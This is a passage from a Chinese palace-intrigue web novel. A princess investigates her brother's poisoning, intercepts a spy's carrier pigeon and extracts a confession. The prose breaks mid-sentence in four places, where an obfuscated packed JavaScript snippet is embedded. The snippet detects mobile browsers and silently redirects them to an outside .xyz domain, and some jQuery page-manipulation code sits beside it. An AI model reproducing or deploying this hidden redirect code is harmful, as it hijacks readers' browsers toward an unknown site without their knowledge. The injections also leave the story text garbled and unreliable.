太子妃把这一切都怪在太子殿下身上,她觉得如果太子殿下一开始就不争储位,把太子之位让给大皇子,就不会发生这么多事。 她故意接近太子殿下,让太子对她一见钟情,求娶她为妻。她的目的,就是在新婚当天杀死太子,为大皇子报仇。 由于成亲当天新娘要经过严格的检查,她没法带利器,就自己制作了有毒的口脂。 太子殿下新丧,皇上下令先封锁消息,以免地方上产生动乱。 奴婢当时恰好在京城,听说了此事,便赶紧回来禀告公主。” 萧柠无力地坐下,手用力地握着茶几的一角,微微发白。 她很悲伤,但更多的是愤怒。 她的弟弟明明前几天还开心地写信过来,说自己要成亲;明明还很认真地挑选了一些礼物送给萧柠,还在信中向萧柠索要新婚礼物。 明明前阵子,他还来探望过萧柠,小住了几日。 为什么好端端的一个人,说没就没了? 萧柠说不清到底是怪太子妃,还是怪命运。 她不能接受,同时也很迷茫。 好像自己这些年来的指望一下子落了空,好像她在湍急的河边找到了一条独木桥,但走到一半,桥断了。 她曾经寄希望于太子,希望太子成为贤君,她就做个贤臣。他们上朝是君臣,下朝是姐弟,其乐融融。 太子虽不是从小跟她一起长大,但早已在她心中占据了很重要的位置。 她还记得,当初自己代替萧梦苒和亲的时候,三皇子追过来,说要想办法让萧柠回国。 为了替萧柠求情,他还挨了父皇一顿打。 在宗学堂上学的时候,萧柠遭遇刁难,也是三皇子屡屡相帮。 她们曾经一起吃饭,一起游玩,一起入画。 那幅萧柠和弟弟妹妹们的画像,还挂在萧柠的宫里。 一转眼,物是人非。 她也没法把以前那个可爱、单纯的南若烟,跟现在这个毒杀太子、心思扭曲的毒妇联系起来。 为什么南若烟会变成这样? 萧柠小时候见到她时,跟她很谈得来,觉得她善良又聪慧。 可是,人真的会变,变得跟以前的她完全不一样。 为什么南若烟会倾慕大皇子?大皇子这个人,明明除了脸,一无是处吧? 为什么南若烟会把大皇子的失败归咎于太子?大皇子和靳家自己作死,跟太子有什么关系? 为什么南若烟要采取这种方式复仇?她明明可以买凶杀人,可以对太子栽赃陷害,可以让其他官员暗中对太子使绊子。可是,她却选择以身入局,以情为饵,让太子爱上她,再让太子在最开心的新婚之夜死去。 萧柠困惑、不解,或许正常人本就没法理解杀人犯。 她觉得脑袋“嗡嗡”地响,眼前的一切变得有些不真实,她好像快晕了过去。 桑叶过来扶住她,叫道:“公主……您振作一点……” 萧柠虚弱地道:“太子妃……南若烟,她也死了?” “对。毒杀太子可是灭族的大罪,可是南家已经没人了,只有一个嫁出去的长女。 罪不及出嫁女,所以皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147088|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上也没有怪罪南家大姑娘,只是把护国公府的一切财产、爵位、田宅收回,并将太子妃戮尸,尸体抛于乱葬岗,不许任何人收尸。” “你去告诉瞿别驾、易长史,说我身体不适,这些天的公务劳烦他们两人主持一下。” “是。” 桑叶离开后,萧柠觉得自己发烧了。 她躺在床上,迷迷糊糊地睡着了。 她一会梦见三皇子骑着马朝她跑来,手上扬着一根发带;一会梦见三皇子在上学,却在纸上画了一只乌龟;一会梦见三皇子穿着一身红色的喜服,开心地对宾客们敬酒,喝得醉醺醺的…… 等她醒来时,发现萧玉蟾、唐绿漪都守在床边,担心地看着她。 萧柠道:“你们怎么来了?” 萧玉蟾道:“公主,我们听说你病了,就过来照顾你。你刚才烧得很厉害,现在退下去一点了,但还是有点热,多喝点水。” 萧柠勉强喝了一口水,道:“你们都知道了?” 萧玉蟾黯然地点点头:“我问过桑叶了……” “我想回京祭奠太子。” “不妥。现在太子薨逝的消息还没有传出来,您提前知道了,不能声张,免得让皇上误以为您有异心。还是等皇上昭告天下时,您再上奏表,请求回京祭奠吧。” “嗯,还是你考虑得周到。玉蟾,以后该怎么办呢……太子没了,若是大皇子继位的话,对我们很不利……” “大皇子已经不能生育了,这是公开的秘密。更何况大皇子犯了这么多错,皇上应该不会考虑他了。” “那你的意思是,有可能是二皇子?” “对,除了大皇子之外,就属二皇子最为年长。他虽然出身较低,但仁慈谦逊,颇有令名,皇上立他为太子也不是不可能。二皇子跟您关系也很好,到时候您在他面前提招收更多女官的事,他应该也会同意的。” “但愿吧。” 萧柠现在想不到太长远的事,她只能先养好病,并收拾好心情。 她是刺史,不能长久沉溺于悲伤当中,忘了本职工作。 退烧后,萧柠就继续去公廨处理政务了,一如往常。 十天后,皇帝昭告天下,太子薨逝,追谥文穆。 南萧国所有州县,三个月内禁止饮酒、作乐、婚嫁,违者杖责三十,服劳役十日。 原太子妃南氏,毒杀太子,已经伏诛,褫夺太子妃身份,贬为庶人,弃尸荒野。 南氏之姐本有乡君的封号,今削去封号,取消一切特殊待遇。南氏的姐夫也官贬三级。 皇帝经过调查,发现在大皇子去封地之前,南若烟曾见过他。 根据南若烟的遗书,不确定毒杀太子一事,大皇子是否知情。 因此,皇帝派刑部侍郎、大理寺少卿一同前往齐地,审问大皇子。 两位官员还未到齐地,大皇子就自尽了。 皇帝震惊且哀恸,同时又对大皇子感到厌恶,下令将大皇子以侯爵之礼安葬,追谥幽厉。 二公主萧梦苒进宫哭诉,说大皇子之死一定有蹊跷,请皇帝彻查,遭到皇帝斥责。 二公主又请求给大皇子一个美谥,被皇帝拒绝。 146. 夜逃(修) 皇帝让威远侯裴靖将二公主带回家,好生看管。如果二公主再跑出来,就要问罪裴家。 裴靖唯唯而退,将二公主拽走。 郑淑妃去冷宫,告知靳氏大皇子的死讯。 靳氏十分悲痛,欲悬梁自尽,在寻找绳子的过程中,无意间翻到自己给外孙子涵做的小衣服。 她冷静了下来,呆呆地坐着,不再寻死。 皇帝连丧两子,哀毁过度,卧病在床。 他下令将远在焦县的二皇子萧奕知召回,授予尚书左丞的职位,并令二皇子监国。 若有大事,二皇子和诸位重臣共同商议决定。 二皇子回京后,抽空给萧柠写了封信,询问她的近况,并说青州如果有什么困难,可以通知他。 萧柠回了信,说自己除了为太子悲痛,其他一切都好,青州暂时没什么事。她希望能回京祭奠太子。 二皇子回信,说他即将去祭奠太子,会连萧柠那一份一起祭奠。萧柠身为地方官,不能擅自回京,以免遭人话柄。 萧柠觉得也有道理,便准备了一些太子生前喜欢的东西,派人送到京城,请二皇子代为祭奠。 同时,她自己也对着太子陵墓的方向,点了三炷香,默默祝祷:“弟弟,希望你在天之灵得到安息。” 忽然,萧柠脑中灵光一闪。 她想到了一些事情,越想越惊讶,忍不住皱起了眉头。 过了一会,她对丫环道:“去叫庆安县主过来。” “是。” 没多久,萧玉蟾来了,问道:“公主,您找我?” “嗯。玉蟾,我刚才忽然觉得,太子的事有些蹊跷。” “哪里蹊跷?” “太子妃南若烟既然是为了大皇子而毒杀太子,她为何要留下一封遗书,解释这一切,还在遗书中提及自己跟大皇子的关系?这不是把矛头指向了大皇子吗? 如果她真的为大皇子着想的话,不应该这么做。” 萧玉蟾点头:“没错……就是因为她的遗书,皇上才派人去审问大皇子,大皇子才畏罪自尽的……她什么也不留下,让人去猜原因,岂不是更好?或者她干脆在遗书中另外编造一条杀太子的理由,不要提及大皇子更好…… 萧柠点头:“我现在就能为她想出好几条理由,比如她本不喜欢太子,太子借着权势强娶她,她宁可杀了太子,也不做这个太子妃。这个理由也很合理啊。 或者她可以说,太子无意间做过的某件事把她害得很惨,但太子自己不知道。这个理由也成立。她完全没有必要提及大皇子…… 而且,还有一点很奇怪。” “公主指的是?” “如果你是大皇子,你会在还没被审问的时候,就畏罪自尽吗?” 萧玉蟾想了想,道:“以皇上对大皇子的宠爱程度,即便太子真的是大皇子授意南若烟去杀的,皇上可能也会饶恕大皇子,只是对他小惩大诫而已。以前一向是这样的,皇上从来舍不得真的伤害大皇子。” “是的,既然以前大皇子犯错,皇帝从未动过杀念,为何这次大皇子会害怕成这个样子,连求情都不求了,直接自尽? 如果此事跟他无关,他可以理直气壮地辩解;即便有关,他也可以把一切责任都推到南若烟身上——他以前做惯了这种事的。” “所以,公主的意思是,太子之死没有表面上看上去那么简单?有人在中间引导着一切?” “对,南若烟这一颗棋子,直接或间接地害死了两个皇子……幕后布局之人,真是心思缜密、算无遗策。” “那这个人会是谁呢?” 正在二人猜测之际,有个衙役敲门,声音有些急切。 萧柠开了门,问道:“怎么了?是不是衙门里有什么急事?” “不是,刚才有个长得跟公主很像的姑娘跑了过来,说要见您。我们问她是谁,她不肯说,只说她今天必须见到大公主,否则就把我们都打死。 我们见她蛮不讲理,看模样又像是身份尊贵之人,不敢耽搁,便来找公主过去看看。” 萧柠皱眉。她心里已经猜到来的人是谁了。 她往公廨那边走去,还没进门,就听见一阵鞭子乱挥的声音。 有个女人边挥鞭子边骂道:“叫萧柠出来!我知道她在这里!” 这个声音,萧柠很熟悉。 几个小吏躲在一边,战战兢兢地说:“去叫了去叫了,姑娘息怒……” 萧柠走了进去,果然看见萧梦苒在大发脾气。 萧柠喝道:“你干什么?” 萧梦苒没好气地道:“我有事找你!” “出来说话,这里是公廨,你不要干扰官吏们办公。” 萧梦苒哼了一声,跟着萧柠出去。 走到了院子里,萧柠问道:“有什么事,值得二公主亲自跑一趟青州?我记得,父皇可是禁了你的足。我现在把你捆起来,送到京城,也是合情合理的。” “你不用把我捆起来,我自己有脚,会走!我有重要的事跟你说,不能在这儿说!” 萧柠只得说道:“那去我房间吧,把你的鞭子、匕首什么的都扔这儿。” “你有什么权力叫我解下武器?你以为你的房间是朝堂啊?” 萧柠没继续跟她说话,只是叫道:“鸾音!绿袖!把二公主绑起来送回威远侯府,皇上知道了一定会赏赐你们。” 鸾音和绿袖跳了出来,虎视眈眈地看着萧梦苒。 萧梦苒只得把鞭子、匕首等物件都取下来,放在地上。 “这下可以了吧?” 萧柠点点头,让她跟自己一起回屋。 屋子里没别人,不过萧玉蟾还在。 萧玉蟾见了萧梦苒,非常惊讶,但还是行了个礼:“拜见二公主。” 萧梦苒对她说道:“你,出去。我要说的事非常机密。” 萧柠道:“就算是机密之事,也没必要让玉蟾出去。她是我的私人幕僚,轮不到二妹妹来管。” 萧梦苒生气了:“岂有此理!她不出去,我就不说!” 萧柠:“搞得我很想听似的,不说就走吧。” 萧梦苒:“你……算你厉害……萧柠,我告诉你,等这次合作完了,你我仍是敌人!” 萧柠皱眉:“谁要跟你合作?合作什么东西?” “我告诉你,南若烟杀死太子,根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147089|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不是我弟弟指使的!” 萧柠眉毛一挑,不动声色:“这么说,你查清了真相?” “没有,但我查清了一部分。就算你不关心我弟弟是怎么死的,总关心你弟弟是怎么死的吧?” “什么你弟弟我弟弟的,你直接说大皇子和太子,比较好理解。” “那行,就算你不关心大皇子是怎么死的,总想知道太子之死的真相吧?太子虽然是被南若烟杀死,但幕后指使者根本不是我弟……根本不是大皇子!” “那是谁?” “不知道!” 萧柠和萧玉蟾都被她的理直气壮给震惊了,瞪着眼睛看着萧梦苒。 萧梦苒说道:“这样看着我干什么?虽然我不知道真正的主使者是谁,但我有证据证明,绝不是大皇子。” 萧柠问道:“证据呢?” “在大皇子去封地的前一天,南若烟确实跟大皇子见过面。但是,在那之前,大皇子根本就不认识她。大皇子是我亲弟弟,我对他很了解……” 萧柠补充道:“补充一句,太子也是你亲弟弟。” 萧梦苒翻了个白眼,继续说道:“总之,我对大皇子很了解,我知道他从来没跟南若烟有过来往。那天,他之所以会跟南若烟见面,是因为前一天发生的一件事。” “什么事?” “前一天,大皇子因为被父皇斥责,又快要去封地了,心情不好,所以去了一家酒楼喝酒。喝完酒后,他出来走走,谁知有人骑着一匹马,不小心撞到了他。他人没什么事,只是手里的扇子跌折了。 骑马之人是个姑娘,她停了下来,询问大皇子有没有事。 大皇子说,自己的扇子是大画师乌梦麟的作品,非常珍贵,现在跌折了,要那姑娘赔偿。 那个姑娘说没问题,乌梦麟的画扇,她家里也有,她回家拿一把就是了。 大皇子不信,说乌梦麟是绘画名家,他的画扇十分稀少,怎么可能随便哪个阿猫阿狗都有? 那姑娘说,她可不是阿猫阿狗,而是护国公府的二小姐南若烟。她家确实有好几把乌梦麟的画扇,她可以全都拿来让大皇子挑选,明天约在春风茶楼见面。 于是,大皇子就同意了。第二天,他去了春风茶楼,见了南若烟,选了一把扇子,就离开了。 所以,他们的见面,其实出于南若烟的设计。他们俩根本就没有感情纠葛,大皇子也根本没有让南若烟去毒害太子。 只是因为他们私底下见过面,春风茶楼人来人往的,很多人都见过。父皇派人去打听的时候,得知他们见过面,且有很多目击证人,就以为是大皇子叫南若烟去害太子的。 但根本不是这么回事。 大皇子在封地自尽后,他身边的一个老仆逃了回来,来找我,提起了这件事。 当时这整件事发生的时候,那名老仆都在场,他是人证。 南若烟留下的遗书说,她是因为倾慕大皇子,才为大皇子报仇,杀了太子。既然她跟大皇子从无来往,更无感情,那她遗书里的理由就是假的,这不是复仇,不是情杀,肯定另有原因。 她既然跟太子没仇,肯定是有另一个人指使她这么做的。” 147. 鸽子(修) “那名老仆呢?” “被我藏起来了,我要在合适的时机让他出来作证。” “只有他一个,不够有说服力。而且现在当事人都死了。” “那怎么办?” “你先说说大皇子是怎么死的吧,结合起来看,看能不能发现其他线索。” “大皇子得知太子已死,皇帝派了几个官员来审问他,他觉得很心烦,要自己静一静,就把自己一个人关在房间里。 结果,他很久都没出来。那名老仆觉得奇怪,就破门而入,结果发现……发现大皇子已死,一把匕首插在他的心口……” “见证大皇子之死的,也是同一名老仆?” “是的。” “大皇子一个人在屋子里?没有其他人?” “没有。但是那老仆说,大皇子一向胆大,仗着有父皇偏爱,什么都不怕。这次他突然自尽,必有蹊跷。以大皇子的性子,不论这事跟他有没有关系,他都要去皇上面前辩一辩的。” 萧梦苒所说的话,倒跟萧柠的想法不谋而合。 萧柠问道:“大皇子身上有没有其他伤口?” “没有。” “心口周围也没有戳刺伤痕?” “好像没有,他直接拿自己的匕首插进心口,没有半分犹豫。” “即便他求死之心很强烈,一般人也难以找准心口的位置,总会在心口附近先戳几下。所以,一个不了解人体结构的普通人要自尽,不会只留下一道伤口。” 萧梦苒眼前一亮:“是不是可以凭借这点,为大皇子翻案,寻找杀死他的真凶?” “大皇子已经下葬,仅凭这个理由,没法说服父皇。但是,南若烟的行为动机存疑,大皇子死得蹊跷,仅凭这两件事,就可以断定,这两件案子是有人在背后推动的。” 萧梦苒叫道:“我明白了,鹬蚌相争,渔翁得利,设计这一切的是二皇子!大皇子和太子都死了,可不就轮到他了吗?现在父皇让他监国,他阴谋得逞了!” 萧柠有些无语:“你不要胡乱猜测,你有证据吗?” “现在大皇子和太子都躺在了坟墓里,二皇子还活着,这还不算证据?” 萧柠:“……” 萧玉蟾:“……” 萧梦苒:“你们怎么都不说话?” 萧柠:“南萧国现在还在呼吸的人,大概有八千多万,二皇子只是其中之一。” 萧玉蟾:“此事的获利者不止一个,还需继续调查。” 萧梦苒:“那你们查吧,我在这儿等着。” 萧柠问道:“萧梦苒,你偷偷跑出来,裴靖知道吗?” “他不知道!就算知道我也不怕,我是公主,还怕他不成?总之,我就要待在这儿,等你查清真相为止!” 萧柠满头问号:“我允许你待在这儿了吗?” “我付房租,总行了吧?” “不行。父皇的命令是你必须待在家里。” “我不回去!回去就什么也做不了了!幕后之人既然杀了我弟弟,说不定是跟我们全家有仇,他可能还会来杀我!只有待在你这儿,我才安全!” 萧柠气笑了:“我有什么义务保护你?更何况,裴靖武艺高强,有他在,肯定护得住你。” “可是……可是你肯定想查清太子死亡的真相吧?那我在这儿,说不定能提供什么线索。” “你所知道的线索,刚才都已经说完了。” “我就要待在这儿!督促你破案!别逼我跪下来求你!” 萧柠:“……” 萧柠实在受不了萧梦苒了,但转念一想,关于大皇子的事,还真是萧梦苒比较了解。 如果萧柠突然想知道大皇子的某些事,问萧梦苒会快一些。 因此,她妥协了:“你可以待在这儿,但不能出门。一旦裴靖或父皇派人来接你,你就要立刻离开。” 萧梦苒道:“没问题!我的房间在哪?” 萧柠对萧玉蟾道:“玉蟾,让她住你隔壁吧。” 萧玉蟾点了点头,带着萧梦苒离开了。 萧柠去公廨处理了一会公务,忽然看见表妹唐绿漪来找她。 唐绿漪神色有些紧张,嘴唇用力抿着,手也缩在袖子里。 萧柠从来没见过她这副样子,便问道:“怎么了?” “公主,我肚子疼,还流血了,我有点害怕,你能不能帮我看看?” 萧柠惊讶起身:“你肚子流血?是受伤了吗?” “不是肚子流血,是……是……” 看唐绿漪支支吾吾的样子,萧柠忽然想到,也许唐绿漪是来了癸水。 她这个年纪,也到了来癸水的时候。只是萧柠之前从来没问过她这件事。 在场的官吏们也都心下了然,全都没有抬头,没有看唐绿漪,只当做没听见。 萧柠赶紧带着唐绿漪离开,回到了自己的房间。 她正在想自己该怎么解释癸水,唐绿漪突然道:“公主,我没来癸水,我刚才那样说,是为了掩人耳目。我有重要的事想告诉你,但是不能被人知道。” 萧柠惊讶:“这么说,你肚子不疼,也没有……” “嗯。刚才我在外面的空地上晒我的书帖,忽然飞来一只鸽子,落在我的书帖上。我见鸽子的脚上绑着纸条,怕有人在暗中传递什么不好的消息,就把纸条拿出来看了,结果发现……” 唐绿漪把缩在袖子里的手拿了出来。 她手上握着一只鸽子,还把鸽子的嘴给按住了,所以鸽子发不出声音来。 她用另一只手从衣袖里拿出一张纸条,递给萧柠。 她穿的是宽袍大袖,袖子里可以藏东西的。 萧柠展开纸条一看,上面只写了一句话:“她今日私下见了二公主,不知道说了什么。” 唐绿漪解释道:“我看到这句话的时候,觉得很奇怪,所以想拿给公主看看。我觉得,青州城内好像有人在密谋什么,而且还跟外面的什么人有所勾结。” 唐绿漪一边说,一边用一根细绳子把鸽子的嘴、翅膀和双脚给绑住了。 这样,她就不用费劲抓着鸽子了。 萧柠道:“你做得很好。” 萧柠琢磨着纸条上的话是什么意思。 今日私下见了二公主的,不就是她自己吗? 所以,有人在监视萧柠,并把她的一举一动向外面的某个人汇报! 为了隐蔽,写纸条之人还用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147090|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她”来指代萧柠。如果其他人截获了纸条,一时半会还猜不出纸条的含义。 萧柠觉得有些心惊,对唐绿漪道:“绿漪,这鸽子为何会被你捉住呢?” “我猜,可能是我今日用了桐油墨的原因。我每天写完几张字帖后,如果天气好,就会去外面的空地晒一下字帖。我有好几种墨,今日用的是桐油墨。 这只鸽子停在我的字帖上,还走来走去,低着头,似乎在闻字帖的味道。 我猜,这鸽子的主人应该经常用桐油墨写字,鸽子熟悉了这种气味。它在半空中闻到了熟悉的气味,就飞了下来,恰好被我捉住。 它脚上绑着的纸条,上面的字也是用桐油墨写的,验证了我的猜想。” “原来如此……” 萧柠闻了闻这张纸条,上面的气味果然是桐油墨的味道。 “桐油墨虽然珍贵,但用得起的人也不在少数,不知这纸条究竟是何人所写……” 唐绿漪却说道:“看笔迹,像是夏参军所写。” “夏参军?你指的是夏以清?” “嗯。” 夏以清担任录事参军的职位,因此别人都称他为夏参军。 萧柠有些惊讶,道:“你确定吗?” “大概可以确定。因为我喜欢练字,想博采众长,所以搜集了青州府所有官吏的字帖,反复观摩,汲取他们的长处。 我看到这张字条的第一眼,就觉得是夏参军的字。不知这纸条上写的‘她’是谁。” 唐绿漪不知道萧柠跟二公主相见的事,因此萧柠便说道:“‘她’指的就是我。夏以清一直在监视我。” “啊……” 唐绿漪吓了一大跳,问道:“公主,他为何要监视您?” “因为他……他本就是别人派到我身边的。” 萧柠漫不经心地回答着,同时脑中飞速思考。 她一直以为夏以清是靳氏和大皇子的人。 现在靳氏被打入冷宫,大皇子已死,萧柠以为夏以清失去了主子,也就翻不出什么浪来了。 没想到,夏以清还在跟另外的人传递消息? 难道,他的主子另有其人? 如果夏以清不是靳氏她们派来的,那会是谁派来的? 这时,唐绿漪也问道:“他为何要监视您?他又是在跟何人通讯?” 萧柠道:“看鸽子飞向哪里,就知道了。” 萧柠把女护卫绿袖叫过来,问道:“绿袖,你一直在培养暗卫,现在有几人能用了?” 绿袖答道:“已经有三人训练得不错了,其他的太小了,武功也太低,还得继续训练。” “我现在放飞这只鸽子,你和那三名暗卫一起追踪它,看它飞入何人府邸,然后回来报告。你们四人不要在一处,分散开来,这样比较隐蔽。” “是。” 绿袖把那三名训练好的暗卫叫来,站在萧柠面前。 萧柠把纸条绑回鸽子的腿上,然后把鸽子身上的绳子都解开。 鸽子被放飞之后,绿袖等四人悄无声息地追踪鸽子而去。 唐绿漪问道:“公主,您为何要将原来的纸条绑回去?为何不模仿其笔迹,写一条对自己无害的内容?” 148. 红疹(修) 萧柠道:“模仿笔迹容易被认出来,还是不冒这个险了。把原来的纸条绑上,正好引蛇出洞。” 唐绿漪似懂非懂地点了点头。 几天后,绿袖回来了,对萧柠说道:“那只鸽子飞到了二皇子的府邸。” 萧柠惊讶:“二皇子?你确定?” “是,属下看得清清楚楚。” 夏以清竟是二皇子的人…… 那么,二皇子除了派人监视萧柠外,还有没有干过其他坏事? 萧柠觉得,可以从二皇子入手,去查太子之死、大皇子之死的真相。 她问绿袖:“其他三名暗卫呢?” “他们还留在京城,监视着二皇子府。” “你回京城去,告诉那三名暗卫,只留一个人监视二皇子府就可以了。另外两个,我另有安排。” 萧柠对绿袖耳语了几句。绿袖点头,立刻飞身离开。 接着,萧柠把萧玉蟾叫来,将最近发生的事告诉了她。 萧玉蟾皱眉道:“二皇子……他看起来安分守己,从不逾矩,怎么会有这么深的心思?他派人监视你干什么呢?” 萧柠道:“也许,他从一开始就防着我了。现在想想,我之前参加科举,非常不顺利,遇到了很多阻碍。以前,我总以为那些阻碍是靳氏和大皇子他们所设,但也许不是他们,而是二皇子。” “你怀疑,二皇子从很久之前就布局对付你了?” “嗯。也许,他觉得我是个威胁,但又不想做得太明显。我现在怀疑,太子和大皇子的死可能也跟他有关。 毕竟从结果来看,太子和大皇子死了,获利的是他。现在他获得了监国的权力,下一步可能就是谋夺太子之位了。 其他皇子虽然还有几个,但年纪尚小,不是他的对手。 之前二公主虽然随意把矛头指向了二皇子,但也有其道理。鹬蚌相争,渔翁得利,这话说得没错。” “那我们要怎么查?现在朝堂大权尽在二皇子掌握中,我们只能暗中探查了。” “嗯,先从南若烟这条线开始查起吧。如果,南若烟爱上的人,其实是二皇子呢?因为爱上了二皇子,所以她心甘情愿替二皇子做事。她勾.引太子,让太子对她一见钟情,然后在新婚之夜杀了太子……” “这很有可能……” “玉蟾,先派出你的暗卫去南若烟家里看看。如果南若烟真的私底下跟二皇子有所来往,应该会留下一些证据的。” “嗯。那大皇子那边怎么查?” “大皇子的事有些麻烦……他当时远在封地,又孤身一人死在房间,他的老仆说房间里没有别人……这是密室杀人,怎么做到的?” “如果暂时没有思路,就先查南若烟的事吧。如果能证明太子之死是二皇子一手设计,已经足够定二皇子的死罪了。到时候他横竖是死,肯定会把犯的其他罪行也一并交代,我们就能知道他是如何悄无声息地杀死大皇子了。” “嗯。还有夏以清……我觉得可以从他入手,问出一些东西。” “嗯。” —————— 几天后,夏以清吃完了饭,突然全身起了红疹。 他忍不住挠了挠,旁边的小吏问道:“夏参军,你怎么了?” 夏以清道:“我不知道……” 瞿明修道:“糟了,最近流行一种鼠疫,感染者就是全身红疹,夏参军不会也被感染了吧?” 夏以清吓了一跳:“应该没有吧……我没有接触过鼠疫的病人……” 然而,他身边的官吏都纷纷跑开,离夏以清很远,生怕他真的感染了鼠疫。 瞿明修道:“夏参军,为安全起见,你先隔离吧。如果确定不是鼠疫,你再出来。” 夏以清懊恼道:“也只能如此了。” 瞿明修命人收拾出一间厢房,让夏以清一个人住了进去。 夏以清觉得自己很倒霉,不停地挠着身上的疹子,希望能早点病愈。 这时,门开了,他以为是大夫来了。 没想到,进来的是萧柠、萧玉蟾和几名侍卫。 她们进屋后,把门关上了,还上了锁。 夏以清惊讶道:“刺史大人,庆安县主,你们怎么会来?我身上出了红疹,还不确定是不是染了鼠疫,你们别靠近我……” 萧柠笑道:“你放心,不是鼠疫。” “不是?大人如何确定?” “这不重要。夏以清,你潜伏在我身边这么久,现在你插翅难飞了,还是把你做过的事老实交代吧。” “我……我做过什么事?我只做公主交代给我的事,其他事从来不染指……” “是吗?你是二皇子的人吧?你奉他的命令,在我身边监视我,还用信鸽跟他传递消息。” 夏以清的瞳孔骤然放大,脸上出现了一瞬间的讶异、心虚。 萧柠观察到了他的表情,知道自己猜测得没错。 夏以清却嘴硬:“下官跟二皇子素无来往,不知道公主为何这样说?” “你的鸽子,已经被我发现了。” “什么鸽子?下官没有养过鸽子。” “你养过,而且你平时喜欢用桐油墨写字,你的鸽子也喜欢这个气味。” “下官是有桐油墨,但是鸽子一事,委实不知。” “桐油墨十分名贵,以你的俸禄,是用不起的。这是二皇子送你的吧?” “不是。桐油墨纵然名贵,但下官省吃俭用,也能买上一块,有什么问题吗?” “你一个穷书生出身的人,省吃俭用存下的钱,既不用于孝敬父母,也不用于衣食住行,反而去买一块没什么必要的桐油墨,不是很奇怪吗?” “这没什么奇怪的,攒钱买心爱之物,很多人都这么做。” “我已经发现二皇子的真面目了,即将向皇上检举他。如果你能提供二皇子的其他罪证,就算是将功折罪。我会告诉皇上,不但不治你的罪,反而升你的官。 你听说过左骁卫大将军郑奇树吗?你知道他是怎么当上这个大将军的? 就是因为原先的左骁卫大将军靳衡犯了大罪,被郑将军知道了,向皇上告发。皇上治了靳衡的罪,还让郑奇树将军顶替了靳衡的职 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147091|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位。 如今,一个大好的机会摆在你面前,你可不要错过。” 夏以清似乎有些被说动了,但他还是紧闭着嘴。 萧柠道:“你不说,是因为不敢说吧?你父母在二皇子手里?” 夏以清惊讶地看了一眼萧柠,随即垂下头去。 萧柠拿出一个梭子,道:“你认得这个梭子吗?” 夏以清有些惊慌:“这是我母亲织布用的梭子……公主从何处得来?” “自然是你母亲交给我的下属,才被我得到的。你父母已经被我救出来了,藏在一处隐秘的地方,你不用担心他们的安危。” “如果我不说出公主想知道的事,公主就不会释放我父母?” “你很聪明,但咱们没必要把话说得这么直接。你是我的下属,我派人替你照顾你父母,仅此而已。” “好,我说。我确实是二皇子的人。二皇子派我接近大公主。” 虽然早就猜到了真相,但听夏以清亲口说出,萧柠还是有些震惊,觉得浑身发冷。 萧柠问:“在县试的考场上,你是故意引起我注意的?” “是的。我故意饿了一天一夜,让自己晕倒在考场。我知道你心地善良,一定会把自己的食物分给我吃。我故意把其他糕点拿得差不多了,但葵花酥我一块也没拿。这样,就能增加你吃到葵花酥,从而腹泻的概率。” “果然如此。葵花酥上的蟹粉,是你洒的,还是杜四娘子洒的?” “是我,跟杜四娘子没关系。我拿其他糕点的时候,趁你不注意,把蟹粉洒在了葵花酥上。蟹粉和葵花酥都是黄的,所以并不显眼。” “事后,你们掳走了杜四娘子,是为了把嫌疑往她身上引?” “没错,但这只是其中一个原因。第二个原因是,杀了杜四娘子,把她的尸体埋在大皇子的园林里,将来就可以凭尸体陷害大皇子。 而你见到杜四娘子的尸体在大皇子那边,就自然而然地联想到,杜四娘子是大皇子的人,是大皇子一直在阻碍你科考。” 萧柠感叹道:“好一招一石二鸟之计……杜四娘子一天不找到,嫌疑就一直在她身上,我就能少怀疑你或是不怀疑你。而你也确实对葵花过敏,所以你没有拿葵花酥,也有个合理的解释。” “没错。” 夏以清忽然想到了什么,问道:“你们是不是在我今天的饭菜里加了葵花?” 萧柠笑道:“你还不太笨。葵花碾碎了,混在鸡蛋里,也是看不出来的。反正都是黄的,你说呢?” 